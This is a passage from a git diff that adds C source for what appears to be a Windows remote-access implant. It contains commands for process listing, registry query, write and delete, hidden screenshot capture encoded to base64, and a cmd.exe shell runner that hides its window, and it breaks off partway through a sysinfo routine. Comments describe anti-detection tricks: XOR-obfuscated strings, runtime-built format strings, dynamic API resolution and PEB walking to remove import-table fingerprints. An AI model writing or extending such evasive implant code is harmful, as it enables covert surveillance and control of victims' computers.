+}
+
+static const char *_arch(HANDLE hproc)
+{
+ _init_wow64();
+ if (!s_wow64) return "?";
+ BOOL wow64 = FALSE;
+ return (s_wow64(hproc, &wow64) && wow64) ? "x86" : "x64";
+}
+
+static const char *_integrity(HANDLE hproc)
+{
+ HANDLE htoken = NULL;
+ { const adv_api_t *_a = adv_get();
+ if (!_a->OpenProcessToken || !_a->OpenProcessToken(hproc, TOKEN_QUERY, &htoken))
+ return "?"; }
+
+ DWORD needed = 0;
+ GetTokenInformation(htoken, TokenIntegrityLevel, NULL, 0, &needed);
+ if (!needed) { CloseHandle(htoken); return "?"; }
+
+ TOKEN_MANDATORY_LABEL *tml = (TOKEN_MANDATORY_LABEL *)malloc(needed);
+ if (!tml) { CloseHandle(htoken); return "?"; }
+
+ const char *label = "?";
+ if (GetTokenInformation(htoken, TokenIntegrityLevel, tml, needed, &needed)) {
+ DWORD rid = *GetSidSubAuthority(tml->Label.Sid,
+ (DWORD)(*GetSidSubAuthorityCount(tml->Label.Sid) - 1));
+ if (rid >= SECURITY_MANDATORY_SYSTEM_RID) label = "system";
+ else if (rid >= SECURITY_MANDATORY_HIGH_RID) label = "high";
+ else if (rid >= SECURITY_MANDATORY_MEDIUM_RID) label = "med";
+ else if (rid >= SECURITY_MANDATORY_LOW_RID) label = "low";
+ else label = "untrust";
+ }
+ free(tml);
+ CloseHandle(htoken);
+ return label;
+}
+
+int cmd_ps(char *output_buf, size_t output_size)
+{
+ if (!output_buf || output_size < 128) return -1;
+ output_buf[0] = '\0';
+
+ int hdr = snprintf(output_buf, output_size,
+ "%-8s %-8s %-5s %-8s %s\n"
+ "%-8s %-8s %-5s %-8s %s\n",
+ "PID", "PPID", "ARCH", "INTEGR.", "NAME",
+ "---", "----", "----", "-------", "----");
+ if (hdr < 0 || (size_t)hdr >= output_size) return 0;
+
+ size_t off = (size_t)hdr;
+
+ HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+ if (snap == INVALID_HANDLE_VALUE) {
+ snprintf(output_buf + off, output_size - off, "[ps] snapshot failed\n");
+ return -1;
+ }
+
+ PROCESSENTRY32 pe;
+ pe.dwSize = sizeof(pe);
+ if (!Process32First(snap, &pe)) { CloseHandle(snap); return -1; }
+
+ do {
+ const char *arch = "?";
+ const char *integ = "?";
+
+ HANDLE hproc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION,
+ FALSE, pe.th32ProcessID);
+ if (hproc) {
+ arch = _arch(hproc);
+ integ = _integrity(hproc);
+ CloseHandle(hproc);
+ }
+
+ int n = snprintf(output_buf + off, output_size - off,
+ "%-8lu %-8lu %-5s %-8s %s\n",
+ (unsigned long)pe.th32ProcessID,
+ (unsigned long)pe.th32ParentProcessID,
+ arch, integ, pe.szExeFile);
+ if (n > 0) off += (size_t)n;
+
+ if (off + 128 >= output_size) {
+ snprintf(output_buf + off, output_size - off, "[...truncated]\n");
+ break;
+ }
+
+ } while (Process32Next(snap, &pe));
+
+ CloseHandle(snap);
+ return 0;
+}
diff --git a/agent/src/commands/reg.c b/agent/src/commands/reg.c
new file mode 100644
index 0000000..a93200a
--- /dev/null
+++ b/agent/src/commands/reg.c
@@ -0,0 +1,309 @@
+#include "commands.h"
+#include
+#include
+#include
+#include
+
+/* parse hive prefix and return root HKEY */
+
+static HKEY _hive(const char *keypath, const char **subkey)
+{
+ static const struct { const char *pfx; HKEY hive; } map[] = {
+ {"HKEY_LOCAL_MACHINE\\", HKEY_LOCAL_MACHINE},
+ {"HKLM\\", HKEY_LOCAL_MACHINE},
+ {"HKEY_CURRENT_USER\\", HKEY_CURRENT_USER},
+ {"HKCU\\", HKEY_CURRENT_USER},
+ {"HKEY_USERS\\", HKEY_USERS},
+ {"HKU\\", HKEY_USERS},
+ {"HKEY_CLASSES_ROOT\\", HKEY_CLASSES_ROOT},
+ {"HKCR\\", HKEY_CLASSES_ROOT},
+ {"HKEY_CURRENT_CONFIG\\", HKEY_CURRENT_CONFIG},
+ {"HKCC\\", HKEY_CURRENT_CONFIG},
+ };
+ for (int i = 0; i < (int)(sizeof(map)/sizeof(map[0])); i++) {
+ size_t len = strlen(map[i].pfx);
+ if (_strnicmp(keypath, map[i].pfx, len) == 0) {
+ *subkey = keypath + len;
+ return map[i].hive;
+ }
+ }
+ *subkey = keypath;
+ return NULL;
+}
+
+static const char *_type_name(DWORD t)
+{
+ switch (t) {
+ case REG_SZ: return "REG_SZ";
+ case REG_EXPAND_SZ: return "REG_EXPAND_SZ";
+ case REG_MULTI_SZ: return "REG_MULTI_SZ";
+ case REG_DWORD: return "REG_DWORD";
+ case REG_QWORD: return "REG_QWORD";
+ case REG_BINARY: return "REG_BINARY";
+ case REG_NONE: return "REG_NONE";
+ default: return "REG_UNKNOWN";
+ }
+}
+
+/* Format a registry value into buf */
+static int _fmt_value(const char *name, DWORD type,
+ const BYTE *data, DWORD datalen,
+ char *buf, size_t bufsz)
+{
+ char val[1024] = {0};
+
+ switch (type) {
+ case REG_SZ:
+ case REG_EXPAND_SZ:
+ snprintf(val, sizeof(val), "\"%.*s\"", (int)datalen, (const char *)data);
+ break;
+
+ case REG_MULTI_SZ: {
+ /* NUL-separated list */
+ size_t pos = 0;
+ const char *s = (const char *)data;
+ while (s < (const char *)data + datalen && *s) {
+ int n = snprintf(val + pos, sizeof(val) - pos, "%s; ", s);
+ if (n > 0) pos += (size_t)n;
+ s += strlen(s) + 1;
+ }
+ break;
+ }
+
+ case REG_DWORD:
+ if (datalen >= 4) {
+ DWORD dw;
+ memcpy(&dw, data, 4);
+ snprintf(val, sizeof(val), "0x%08lX (%lu)", dw, dw);
+ }
+ break;
+
+ case REG_QWORD:
+ if (datalen >= 8) {
+ ULONGLONG qw;
+ memcpy(&qw, data, 8);
+ snprintf(val, sizeof(val), "0x%016llX", qw);
+ }
+ break;
+
+ case REG_BINARY: {
+ size_t pos = 0;
+ for (DWORD i = 0; i < datalen && pos + 3 < sizeof(val); i++) {
+ snprintf(val + pos, sizeof(val) - pos, "%02X ", data[i]);
+ pos += 3;
+ }
+ break;
+ }
+
+ default:
+ snprintf(val, sizeof(val), "", datalen);
+ break;
+ }
+
+ return snprintf(buf, bufsz, " %-30s %-14s %s\n",
+ name[0] ? name : "(Default)", _type_name(type), val);
+}
+
+/* query one value or enumerate all values in a key */
+
+int cmd_reg_query(const char *keypath, const char *valname,
+ char *output_buf, size_t output_size)
+{
+ const char *subkey = NULL;
+ HKEY hive = _hive(keypath, &subkey);
+ if (!hive) {
+ snprintf(output_buf, output_size,
+ "[reg] unknown hive in: %s\n", keypath);
+ return -1;
+ }
+
+ HKEY hk;
+ LONG rc = RegOpenKeyExA(hive, subkey, 0, KEY_READ, &hk);
+ if (rc != ERROR_SUCCESS) {
+ snprintf(output_buf, output_size,
+ "[reg] RegOpenKeyEx failed: %ld\n", rc);
+ return -1;
+ }
+
+ size_t pos = 0;
+ int n = snprintf(output_buf + pos, output_size - pos,
+ "%s\n", keypath);
+ if (n > 0) pos += (size_t)n;
+
+ if (valname && valname[0]) {
+ /* query single value */
+ BYTE buf[4096];
+ DWORD datalen = sizeof(buf);
+ DWORD type = 0;
+ rc = RegQueryValueExA(hk, valname, NULL, &type, buf, &datalen);
+ if (rc == ERROR_SUCCESS) {
+ char line[2048];
+ _fmt_value(valname, type, buf, datalen, line, sizeof(line));
+ n = snprintf(output_buf + pos, output_size - pos, "%s", line);
+ if (n > 0) pos += (size_t)n;
+ } else {
+ n = snprintf(output_buf + pos, output_size - pos,
+ " [not found: %s]\n", valname);
+ if (n > 0) pos += (size_t)n;
+ }
+ } else {
+ /* enumerate all values */
+ DWORD idx = 0;
+ for (;;) {
+ char name[256];
+ BYTE data[4096];
+ DWORD namesz = sizeof(name);
+ DWORD datasz = sizeof(data);
+ DWORD type = 0;
+ rc = RegEnumValueA(hk, idx++, name, &namesz, NULL,
+ &type, data, &datasz);
+ if (rc == ERROR_NO_MORE_ITEMS) break;
+ if (rc != ERROR_SUCCESS) break;
+
+ char line[2048];
+ _fmt_value(name, type, data, datasz, line, sizeof(line));
+ n = snprintf(output_buf + pos, output_size - pos, "%s", line);
+ if (n > 0 && (size_t)n < output_size - pos)
+ pos += (size_t)n;
+ else
+ break;
+ }
+ if (idx == 1) {
+ n = snprintf(output_buf + pos, output_size - pos,
+ " (no values)\n");
+ if (n > 0) pos += (size_t)n;
+ }
+ }
+
+ RegCloseKey(hk);
+ return 0;
+}
+
+/* set a registry value */
+
+int cmd_reg_set(const char *keypath, const char *valname,
+ const char *type_str, const char *value,
+ char *output_buf, size_t output_size)
+{
+ const char *subkey = NULL;
+ HKEY hive = _hive(keypath, &subkey);
+ if (!hive) {
+ snprintf(output_buf, output_size,
+ "[reg] unknown hive in: %s\n", keypath);
+ return -1;
+ }
+
+ /* resolve type string */
+ DWORD type = REG_SZ;
+ if (_stricmp(type_str, "REG_DWORD") == 0 || _stricmp(type_str, "dword") == 0)
+ type = REG_DWORD;
+ else if (_stricmp(type_str, "REG_BINARY") == 0 || _stricmp(type_str, "binary") == 0)
+ type = REG_BINARY;
+ else if (_stricmp(type_str, "REG_EXPAND_SZ") == 0 || _stricmp(type_str, "expand_sz") == 0)
+ type = REG_EXPAND_SZ;
+ else if (_stricmp(type_str, "REG_MULTI_SZ") == 0 || _stricmp(type_str, "multi_sz") == 0)
+ type = REG_MULTI_SZ;
+ /* else default REG_SZ */
+
+ HKEY hk;
+ LONG rc = RegCreateKeyExA(hive, subkey, 0, NULL,
+ REG_OPTION_NON_VOLATILE, KEY_SET_VALUE,
+ NULL, &hk, NULL);
+ if (rc != ERROR_SUCCESS) {
+ snprintf(output_buf, output_size,
+ "[reg] create failed: %ld\n", rc);
+ return -1;
+ }
+
+ LONG set_rc = ERROR_SUCCESS;
+
+ switch (type) {
+ case REG_DWORD: {
+ DWORD dw = (DWORD)strtoul(value, NULL, 0);
+ set_rc = RegSetValueExA(hk, valname, 0, REG_DWORD,
+ (const BYTE *)&dw, sizeof(DWORD));
+ break;
+ }
+ case REG_BINARY: {
+ /* parse hex string to bytes */
+ size_t vlen = strlen(value);
+ BYTE *bin = (BYTE *)malloc((vlen / 2) + 1);
+ if (!bin) { RegCloseKey(hk); return -1; }
+ size_t blen = 0;
+ for (size_t i = 0; i + 1 < vlen; i += 2) {
+ char hx[3] = {value[i], value[i+1], '\0'};
+ bin[blen++] = (BYTE)strtoul(hx, NULL, 16);
+ }
+ set_rc = RegSetValueExA(hk, valname, 0, REG_BINARY, bin, (DWORD)blen);
+ free(bin);
+ break;
+ }
+ default: /* REG_SZ, REG_EXPAND_SZ */
+ set_rc = RegSetValueExA(hk, valname, 0, type,
+ (const BYTE *)value,
+ (DWORD)(strlen(value) + 1));
+ break;
+ }
+
+ RegCloseKey(hk);
+
+ if (set_rc == ERROR_SUCCESS) {
+ snprintf(output_buf, output_size,
+ "[reg] set %s\\%s (%s) = %s\n",
+ keypath, valname, type_str, value);
+ return 0;
+ }
+ snprintf(output_buf, output_size,
+ "[reg] set failed: %ld\n", set_rc);
+ return -1;
+}
+
+/* delete a registry key or value */
+
+int cmd_reg_delete(const char *keypath, const char *valname,
+ char *output_buf, size_t output_size)
+{
+ const char *subkey = NULL;
+ HKEY hive = _hive(keypath, &subkey);
+ if (!hive) {
+ snprintf(output_buf, output_size,
+ "[reg] unknown hive in: %s\n", keypath);
+ return -1;
+ }
+
+ LONG rc;
+
+ if (!valname || !valname[0]) {
+ /* delete the key itself */
+ rc = RegDeleteKeyA(hive, subkey);
+ if (rc == ERROR_SUCCESS) {
+ snprintf(output_buf, output_size,
+ "[reg] deleted key: %s\n", keypath);
+ return 0;
+ }
+ snprintf(output_buf, output_size,
+ "[reg] RegDeleteKey failed: %ld\n", rc);
+ return -1;
+ }
+
+ /* delete specific value */
+ HKEY hk;
+ rc = RegOpenKeyExA(hive, subkey, 0, KEY_SET_VALUE, &hk);
+ if (rc != ERROR_SUCCESS) {
+ snprintf(output_buf, output_size,
+ "[reg] RegOpenKeyEx failed: %ld\n", rc);
+ return -1;
+ }
+
+ rc = RegDeleteValueA(hk, valname);
+ RegCloseKey(hk);
+
+ if (rc == ERROR_SUCCESS) {
+ snprintf(output_buf, output_size,
+ "[reg] deleted value: %s \\ %s\n", keypath, valname);
+ return 0;
+ }
+ snprintf(output_buf, output_size,
+ "[reg] RegDeleteValue failed: %ld\n", rc);
+ return -1;
+}
diff --git a/agent/src/commands/screenshot.c b/agent/src/commands/screenshot.c
new file mode 100644
index 0000000..a8dc99f
--- /dev/null
+++ b/agent/src/commands/screenshot.c
@@ -0,0 +1,236 @@
+#include "commands.h"
+#include "crypto.h"
+#include "evs_strings.h"
+#include
+#include
+#include
+#include
+
+/* ── Dynamic GDI/USER32 dispatch — removes screen-capture IAT fingerprint ─── */
+
+typedef HDC (WINAPI *pGetDC_t) (HWND);
+typedef int (WINAPI *pReleaseDC_t) (HWND, HDC);
+typedef int (WINAPI *pGetDeviceCaps_t) (HDC, int);
+typedef HDC (WINAPI *pCreateCompatibleDC_t) (HDC);
+typedef HBITMAP(WINAPI *pCreateCompatibleBitmap_t)(HDC, int, int);
+typedef HGDIOBJ(WINAPI *pSelectObject_t) (HDC, HGDIOBJ);
+typedef BOOL (WINAPI *pBitBlt_t) (HDC,int,int,int,int,HDC,int,int,DWORD);
+typedef BOOL (WINAPI *pStretchBlt_t) (HDC,int,int,int,int,HDC,int,int,int,int,DWORD);
+typedef BOOL (WINAPI *pDeleteDC_t) (HDC);
+typedef BOOL (WINAPI *pDeleteObject_t) (HGDIOBJ);
+typedef HGDIOBJ(WINAPI *pGetStockObject_t) (int);
+typedef int (WINAPI *pSetStretchBltMode_t) (HDC, int);
+typedef BOOL (WINAPI *pSetBrushOrgEx_t) (HDC, int, int, POINT *);
+typedef int (WINAPI *pGetDIBits_t) (HDC,HBITMAP,UINT,UINT,LPVOID,LPBITMAPINFO,UINT);
+
+typedef struct {
+ pGetDC_t GetDC;
+ pReleaseDC_t ReleaseDC;
+ pGetDeviceCaps_t GetDeviceCaps;
+ pCreateCompatibleDC_t CreateCompatibleDC;
+ pCreateCompatibleBitmap_t CreateCompatibleBitmap;
+ pSelectObject_t SelectObject;
+ pBitBlt_t BitBlt;
+ pStretchBlt_t StretchBlt;
+ pDeleteDC_t DeleteDC;
+ pDeleteObject_t DeleteObject;
+ pGetStockObject_t GetStockObject;
+ pSetStretchBltMode_t SetStretchBltMode;
+ pSetBrushOrgEx_t SetBrushOrgEx;
+ pGetDIBits_t GetDIBits;
+} ss_api_t;
+
+static ss_api_t _ss = {0};
+
+static int _ss_init(void)
+{
+ if (_ss.BitBlt) return 0;
+
+ char _fn[32];
+
+#define _DEC_GPA(dll, enc, dst) do { \
+ EVS_D(_fn, enc); \
+ (dst) = (void *)GetProcAddress(dll, _fn); \
+ SecureZeroMemory(_fn, sizeof(enc) + 1); } while(0)
+
+ char _dll[12];
+ EVS_D(_dll, EVS_dll_gdi32);
+ HMODULE hg = LoadLibraryA(_dll);
+ SecureZeroMemory(_dll, sizeof(_dll));
+
+ char _udll[12];
+ EVS_D(_udll, EVS_dll_user32);
+ HMODULE hu = LoadLibraryA(_udll);
+ SecureZeroMemory(_udll, sizeof(_udll));
+
+ if (!hg || !hu) return -1;
+
+ _DEC_GPA(hu, EVS_fn_GetDC, _ss.GetDC);
+ _DEC_GPA(hu, EVS_fn_ReleaseDC, _ss.ReleaseDC);
+ _DEC_GPA(hg, EVS_fn_GetDeviceCaps, _ss.GetDeviceCaps);
+ _DEC_GPA(hg, EVS_fn_CreateCompatibleDC, _ss.CreateCompatibleDC);
+ _DEC_GPA(hg, EVS_fn_CreateCompatibleBitmap, _ss.CreateCompatibleBitmap);
+ _DEC_GPA(hg, EVS_fn_SelectObject, _ss.SelectObject);
+ _DEC_GPA(hg, EVS_fn_BitBlt, _ss.BitBlt);
+ _DEC_GPA(hg, EVS_fn_StretchBlt, _ss.StretchBlt);
+ _DEC_GPA(hg, EVS_fn_DeleteDC, _ss.DeleteDC);
+ _DEC_GPA(hg, EVS_fn_DeleteObject, _ss.DeleteObject);
+ _DEC_GPA(hg, EVS_fn_GetStockObject, _ss.GetStockObject);
+ _DEC_GPA(hg, EVS_fn_SetStretchBltMode, _ss.SetStretchBltMode);
+ _DEC_GPA(hg, EVS_fn_SetBrushOrgEx, _ss.SetBrushOrgEx);
+ _DEC_GPA(hg, EVS_fn_GetDIBits, _ss.GetDIBits);
+#undef _DEC_GPA
+
+ return _ss.BitBlt ? 0 : -1;
+}
+
+int cmd_screenshot(char *output_buf, size_t output_size)
+{
+ if (!output_buf || output_size < 128) return -1;
+ output_buf[0] = '\0';
+
+ if (_ss_init() != 0) {
+ snprintf(output_buf, output_size, "e:gdi\n");
+ return -1;
+ }
+
+ HDC hdc_screen = _ss.GetDC(NULL);
+ if (!hdc_screen) {
+ snprintf(output_buf, output_size,
+ "e:dc %lu\n", GetLastError());
+ return -1;
+ }
+
+ int src_w = _ss.GetDeviceCaps(hdc_screen, HORZRES);
+ int src_h = _ss.GetDeviceCaps(hdc_screen, VERTRES);
+ if (src_w <= 0 || src_h <= 0) {
+ _ss.ReleaseDC(NULL, hdc_screen);
+ snprintf(output_buf, output_size, "e:caps\n");
+ return -1;
+ }
+
+#define SS_MAX_BMP_BYTES (6u * 1024u * 1024u)
+ int sw = src_w, sh = src_h;
+ while ((size_t)(((sw * 3u + 3u) & ~3u)) * (size_t)sh > SS_MAX_BMP_BYTES) {
+ sw = (sw * 3) / 4;
+ sh = (sh * 3) / 4;
+ if (sw < 320) { sw = 320; sh = 240; break; }
+ }
+
+ HDC hdc_cap = _ss.CreateCompatibleDC(hdc_screen);
+ if (!hdc_cap) {
+ _ss.ReleaseDC(NULL, hdc_screen);
+ snprintf(output_buf, output_size, "e:cdc\n");
+ return -1;
+ }
+ HBITMAP hbmp_cap = _ss.CreateCompatibleBitmap(hdc_screen, src_w, src_h);
+ if (!hbmp_cap) {
+ _ss.DeleteDC(hdc_cap); _ss.ReleaseDC(NULL, hdc_screen);
+ snprintf(output_buf, output_size, "e:cbm\n");
+ return -1;
+ }
+ _ss.SelectObject(hdc_cap, hbmp_cap);
+ _ss.BitBlt(hdc_cap, 0, 0, src_w, src_h, hdc_screen, 0, 0, SRCCOPY | CAPTUREBLT);
+ _ss.ReleaseDC(NULL, hdc_screen);
+
+ HBITMAP hbmp_final;
+ if (sw == src_w && sh == src_h) {
+ _ss.SelectObject(hdc_cap, _ss.GetStockObject(NULL_BRUSH));
+ hbmp_final = hbmp_cap;
+ _ss.DeleteDC(hdc_cap);
+ } else {
+ HDC hdc_scale = _ss.CreateCompatibleDC(hdc_cap);
+ hbmp_final = _ss.CreateCompatibleBitmap(hdc_cap, sw, sh);
+ if (!hdc_scale || !hbmp_final) {
+ if (hdc_scale) _ss.DeleteDC(hdc_scale);
+ if (hbmp_final) _ss.DeleteObject(hbmp_final);
+ _ss.SelectObject(hdc_cap, _ss.GetStockObject(NULL_BRUSH));
+ _ss.DeleteObject(hbmp_cap); _ss.DeleteDC(hdc_cap);
+ snprintf(output_buf, output_size, "e:sc\n");
+ return -1;
+ }
+ HGDIOBJ old_sc = _ss.SelectObject(hdc_scale, hbmp_final);
+ _ss.SetStretchBltMode(hdc_scale, HALFTONE);
+ _ss.SetBrushOrgEx(hdc_scale, 0, 0, NULL);
+ _ss.StretchBlt(hdc_scale, 0, 0, sw, sh,
+ hdc_cap, 0, 0, src_w, src_h, SRCCOPY);
+ _ss.SelectObject(hdc_scale, old_sc);
+ _ss.DeleteDC(hdc_scale);
+ _ss.SelectObject(hdc_cap, _ss.GetStockObject(NULL_BRUSH));
+ _ss.DeleteObject(hbmp_cap);
+ _ss.DeleteDC(hdc_cap);
+ }
+
+ BITMAPINFOHEADER bih;
+ memset(&bih, 0, sizeof(bih));
+ bih.biSize = sizeof(BITMAPINFOHEADER);
+ bih.biWidth = sw;
+ bih.biHeight = sh;
+ bih.biPlanes = 1;
+ bih.biBitCount = 24;
+ bih.biCompression = BI_RGB;
+
+ DWORD row_stride = (((DWORD)sw * 3u) + 3u) & ~3u;
+ DWORD pixel_sz = row_stride * (DWORD)sh;
+ bih.biSizeImage = pixel_sz;
+
+ uint8_t *pixels = (uint8_t *)calloc(1, pixel_sz);
+ if (!pixels) {
+ _ss.DeleteObject(hbmp_final);
+ snprintf(output_buf, output_size, "e:px\n");
+ return -1;
+ }
+
+ HDC hdc_ref = _ss.GetDC(NULL);
+ int lines = _ss.GetDIBits(hdc_ref, hbmp_final, 0, (UINT)sh, pixels,
+ (BITMAPINFO *)&bih, DIB_RGB_COLORS);
+ _ss.ReleaseDC(NULL, hdc_ref);
+ _ss.DeleteObject(hbmp_final);
+
+ if (!lines) {
+ free(pixels);
+ snprintf(output_buf, output_size, "e:dib %lu\n", GetLastError());
+ return -1;
+ }
+
+ DWORD pixel_offset = 14u + (DWORD)sizeof(BITMAPINFOHEADER);
+ DWORD bmp_sz = pixel_offset + pixel_sz;
+
+ uint8_t *bmp = (uint8_t *)malloc(bmp_sz);
+ if (!bmp) {
+ free(pixels);
+ snprintf(output_buf, output_size, "e:bm\n");
+ return -1;
+ }
+
+ bmp[0] = 'B'; bmp[1] = 'M';
+ memcpy(bmp + 2, &bmp_sz, 4);
+ memset(bmp + 6, 0, 4);
+ memcpy(bmp + 10, &pixel_offset, 4);
+ memcpy(bmp + 14, &bih, sizeof(BITMAPINFOHEADER));
+ memcpy(bmp + pixel_offset, pixels, pixel_sz);
+ free(pixels);
+
+ char *b64 = base64_encode(bmp, bmp_sz);
+ free(bmp);
+ if (!b64) {
+ snprintf(output_buf, output_size, "e:b64\n");
+ return -1;
+ }
+
+ int header_len = snprintf(output_buf, output_size, "ss:%dx%d\n", sw, sh);
+ if (header_len < 0 || (size_t)header_len >= output_size) {
+ free(b64);
+ snprintf(output_buf, output_size, "e:hdr\n");
+ return -1;
+ }
+
+ size_t remaining = output_size - (size_t)header_len - 1;
+ size_t b64_len = strlen(b64);
+ if (b64_len > remaining) b64_len = remaining;
+
+ memcpy(output_buf + header_len, b64, b64_len);
+ output_buf[header_len + b64_len] = '\0';
+ free(b64);
+ return 0;
+}
diff --git a/agent/src/commands/shell.c b/agent/src/commands/shell.c
new file mode 100644
index 0000000..ec63e76
--- /dev/null
+++ b/agent/src/commands/shell.c
@@ -0,0 +1,206 @@
+#include "commands.h"
+#include "evs_strings.h"
+#include "peb_walk.h"
+#include
+#include
+#include
+#include
+
+/* GetNativeSystemInfo — removes from IAT */
+typedef void (WINAPI *_GNS_t)(LPSYSTEM_INFO);
+static void _gns(LPSYSTEM_INFO si) {
+ static _GNS_t fn = NULL;
+ if (!fn) {
+ char fs[22], ks[14]; volatile unsigned char xk = EVS_KEY;
+ for (int i = 0; i < (int)sizeof(EVS_fn_GetNativeSystemInfo); i++) fs[i] = (char)(EVS_fn_GetNativeSystemInfo[i] ^ xk);
+ fs[sizeof(EVS_fn_GetNativeSystemInfo)] = '\0';
+ for (int i = 0; i < (int)sizeof(EVS_dll_kernel32); i++) ks[i] = (char)(EVS_dll_kernel32[i] ^ xk);
+ ks[sizeof(EVS_dll_kernel32)] = '\0';
+ HMODULE m = _peb_module(ks); SecureZeroMemory(ks, sizeof(ks));
+ if (m) fn = (_GNS_t)(void *)GetProcAddress(m, fs);
+ SecureZeroMemory(fs, sizeof(fs));
+ }
+ if (fn) fn(si);
+ else GetSystemInfo(si);
+}
+
+/* GetComputerNameA — removes from IAT */
+typedef BOOL (WINAPI *_SGCN_t)(LPSTR, LPDWORD);
+static BOOL _sgcna(LPSTR buf, LPDWORD sz) {
+ static _SGCN_t fn = NULL;
+ if (!fn) {
+ char fs[20], ks[14]; volatile unsigned char xk = EVS_KEY;
+ for (int i = 0; i < (int)sizeof(EVS_fn_GetComputerNameA); i++) fs[i] = (char)(EVS_fn_GetComputerNameA[i] ^ xk);
+ fs[sizeof(EVS_fn_GetComputerNameA)] = '\0';
+ for (int i = 0; i < (int)sizeof(EVS_dll_kernel32); i++) ks[i] = (char)(EVS_dll_kernel32[i] ^ xk);
+ ks[sizeof(EVS_dll_kernel32)] = '\0';
+ HMODULE m = _peb_module(ks); SecureZeroMemory(ks, sizeof(ks));
+ if (m) fn = (_SGCN_t)(void *)GetProcAddress(m, fs);
+ SecureZeroMemory(fs, sizeof(fs));
+ }
+ return fn ? fn(buf, sz) : FALSE;
+}
+
+/* GlobalMemoryStatusEx — removes from IAT */
+typedef BOOL (WINAPI *_GMSE_t)(LPMEMORYSTATUSEX);
+static BOOL _gmse(LPMEMORYSTATUSEX p) {
+ static _GMSE_t fn = NULL;
+ if (!fn) {
+ char fs[22], ks[14]; volatile unsigned char xk = EVS_KEY;
+ for (int i = 0; i < (int)sizeof(EVS_fn_GlobalMemoryStatusEx); i++) fs[i] = (char)(EVS_fn_GlobalMemoryStatusEx[i] ^ xk);
+ fs[sizeof(EVS_fn_GlobalMemoryStatusEx)] = '\0';
+ for (int i = 0; i < (int)sizeof(EVS_dll_kernel32); i++) ks[i] = (char)(EVS_dll_kernel32[i] ^ xk);
+ ks[sizeof(EVS_dll_kernel32)] = '\0';
+ HMODULE m = _peb_module(ks); SecureZeroMemory(ks, sizeof(ks));
+ if (m) fn = (_GMSE_t)(void *)GetProcAddress(m, fs);
+ SecureZeroMemory(fs, sizeof(fs));
+ }
+ return fn ? fn(p) : FALSE;
+}
+
+/* run a shell command via cmd.exe and capture stdout+stderr */
+int cmd_shell(const char *cmdline, char *output_buf, size_t output_size)
+{
+ if (!cmdline || !output_buf || output_size == 0) return -1;
+ output_buf[0] = '\0';
+
+ /* create pipe for child output */
+ SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
+ HANDLE pipe_rd = NULL, pipe_wr = NULL;
+ if (!CreatePipe(&pipe_rd, &pipe_wr, &sa, 0)) return -1;
+
+ /* prevent read end from being inherited */
+ if (!SetHandleInformation(pipe_rd, HANDLE_FLAG_INHERIT, 0)) {
+ CloseHandle(pipe_rd); CloseHandle(pipe_wr);
+ return -1;
+ }
+
+ /* NUL as stdin so child doesn't block waiting for input */
+ HANDLE hNull = CreateFileA("NUL", GENERIC_READ,
+ FILE_SHARE_READ | FILE_SHARE_WRITE,
+ &sa, OPEN_EXISTING, 0, NULL);
+
+ /* XOR-obfuscated "cmd.exe" to avoid plaintext in .rdata */
+ static const unsigned char k_cx[] = {0xdd,0xd3,0xda,0x90,0xdb,0xc6,0xdb}; /* XOR 0xbe */
+ char cx[8] = {0};
+ { volatile unsigned char _x = 0xbe;
+ for (int _i = 0; _i < (int)sizeof(k_cx); _i++) cx[_i] = k_cx[_i] ^ _x; }
+
+ volatile char redir[6]; /* " 2>&1" */
+ redir[0]=0x20; redir[1]=0x32; redir[2]=0x3e; redir[3]=0x26; redir[4]=0x31; redir[5]=0x00;
+
+ char full_cmd[4096];
+ snprintf(full_cmd, sizeof(full_cmd), "%s /C %s%s", cx, cmdline, (const char *)redir);
+ memset(cx, 0, sizeof(cx));
+
+ STARTUPINFOA si;
+ PROCESS_INFORMATION pi;
+ memset(&si, 0, sizeof(si));
+ memset(&pi, 0, sizeof(pi));
+
+ si.cb = sizeof(si);
+ si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
+ si.wShowWindow = SW_HIDE;
+ si.hStdOutput = pipe_wr;
+ si.hStdError = pipe_wr;
+ si.hStdInput = (hNull != INVALID_HANDLE_VALUE) ? hNull : NULL;
+
+ BOOL ok = CreateProcessA(NULL, full_cmd, NULL, NULL,
+ TRUE, CREATE_NO_WINDOW,
+ NULL, NULL, &si, &pi);
+ if (hNull != INVALID_HANDLE_VALUE) CloseHandle(hNull);
+ CloseHandle(pipe_wr);
+
+ if (!ok) {
+ CloseHandle(pipe_rd);
+ DWORD _err = GetLastError();
+ /* "[e:%lu]\n" built at runtime */
+ volatile char efmt[10];
+ efmt[0]=0x5b; efmt[1]=0x65; efmt[2]=0x3a; efmt[3]=0x25;
+ efmt[4]=0x6c; efmt[5]=0x75; efmt[6]=0x5d; efmt[7]=0x0a; efmt[8]=0x00;
+#pragma GCC diagnostic push
+#pragma GCC diagnostic ignored "-Wformat-nonliteral"
+ snprintf(output_buf, output_size, (const char *)efmt, _err);
+#pragma GCC diagnostic pop
+ return -1;
+ }
+
+ /* read output with 30s timeout */
+ DWORD timeout_ms = 30000;
+ DWORD start = GetTickCount();
+ size_t offset = 0;
+ DWORD bytes_read = 0;
+
+ while (offset < output_size - 1) {
+ if (GetTickCount() - start > timeout_ms) break;
+
+ DWORD avail = 0;
+ if (!PeekNamedPipe(pipe_rd, NULL, 0, NULL, &avail, NULL)) break;
+
+ if (avail == 0) {
+ if (WaitForSingleObject(pi.hProcess, 0) == WAIT_OBJECT_0) break;
+ Sleep(50);
+ continue;
+ }
+
+ DWORD to_read = avail;
+ if (to_read > (DWORD)(output_size - 1 - offset))
+ to_read = (DWORD)(output_size - 1 - offset);
+
+ if (!ReadFile(pipe_rd, output_buf + offset, to_read, &bytes_read, NULL)) break;
+ offset += bytes_read;
+ }
+
+ DWORD extra = 0;
+ while (offset < output_size - 1 &&
+ ReadFile(pipe_rd, output_buf + offset, 1, &extra, NULL) && extra > 0)
+ offset += extra;
+
+ output_buf[offset] = '\0';
+
+ if (offset == 0)
+ strncpy(output_buf, "(no output)", output_size - 1);
+
+ WaitForSingleObject(pi.hProcess, 5000);
+ CloseHandle(pi.hProcess);
+ CloseHandle(pi.hThread);
+ CloseHandle(pipe_rd);
+ return 0;
+}
+
+/* collect basic system info */
+
+int cmd_sysinfo(char *output_buf, size_t output_size)
+{
+ char hostname[256] = {0};
+ char username[128] = {0};
+ DWORD sz;
+
+ sz = sizeof(hostname);
